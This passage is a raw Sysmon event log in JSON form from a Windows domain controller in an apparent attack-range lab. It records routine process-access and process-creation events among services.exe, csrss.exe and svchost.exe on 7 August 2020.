C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.141","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"1152","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":793,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.141\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 1200\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001041B90000}\r\nTargetProcessId: 1140\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.141","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"1200","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001041B90000}","TargetProcessId":"1140","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":794,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.148\r\nProcessGuid: {90617006-3FD4-5F2D-0000-00103DC30000}\r\nProcessId: 1220\r\nImage: C:\\Windows\\System32\\svchost.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Host Process for Windows Services\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: svchost.exe\r\nCommandLine: C:\\Windows\\system32\\svchost.exe -k LocalService\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\LOCAL SERVICE\r\nLogonGuid: {90617006-3FD4-5F2D-0000-0020E5030000}\r\nLogonId: 0x3E5\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=36F670D89040709013F6A460176767EC,SHA256=438B6CCD84F4DD32D9684ED7D58FD7D1E5A75FE3F3D12AB6C788E6BB0FFAD5E7,IMPHASH=2CED93915677390B76EE1916B92F3EF6\r\nParentProcessGuid: {90617006-3FD2-5F2D-0000-00101D530000}\r\nParentProcessId: 852\r\nParentImage: C:\\Windows\\System32\\services.exe\r\nParentCommandLine: C:\\Windows\\system32\\services.exe","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.148","ProcessGuid":"{90617006-3FD4-5F2D-0000-00103DC30000}","Image":"C:\\Windows\\System32\\svchost.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Host Process for Windows Services","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"svchost.exe","CommandLine":"C:\\Windows\\system32\\svchost.exe -k LocalService","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\LOCAL SERVICE","LogonGuid":"{90617006-3FD4-5F2D-0000-0020E5030000}","LogonId":"0x3e5","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=36F670D89040709013F6A460176767EC,SHA256=438B6CCD84F4DD32D9684ED7D58FD7D1E5A75FE3F3D12AB6C788E6BB0FFAD5E7,IMPHASH=2CED93915677390B76EE1916B92F3EF6","ParentProcessGuid":"{90617006-3FD2-5F2D-0000-00101D530000}","ParentProcessId":"852","ParentImage":"C:\\Windows\\System32\\services.exe","ParentCommandLine":"C:\\Windows\\system32\\services.exe","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":795,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.141\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 1120\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00103DC30000}\r\nTargetProcessId: 1220\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+4c6c|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.141","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"1120","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00103DC30000}","TargetProcessId":"1220","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+4c6c|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":796,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.141\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 1124\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001041C30000}\r\nTargetProcessId: 1212\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d7ae|C:\\Windows\\system32\\services.exe+4c6c|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.141","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"1124","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001041C30000}","TargetProcessId":"1212","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d7ae|C:\\Windows\\system32\\services.exe+4c6c|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":797,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.141\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00103DC30000}\r\nTargetProcessId: 1220\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.141","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00103DC30000}","TargetProcessId":"1220","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":798,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.141\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001041C30000}\r\nTargetProcessId: 1212\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.141","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001041C30000}","TargetProcessId":"1212","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":799,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.156\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001041C30000}\r\nTargetProcessId: 1212\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.156","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001041C30000}","TargetProcessId":"1212","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":800,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.156\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00103DC30000}\r\nTargetProcessId: 1220\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.156","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00103DC30000}","TargetProcessId":"1220","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":801,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.156\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: 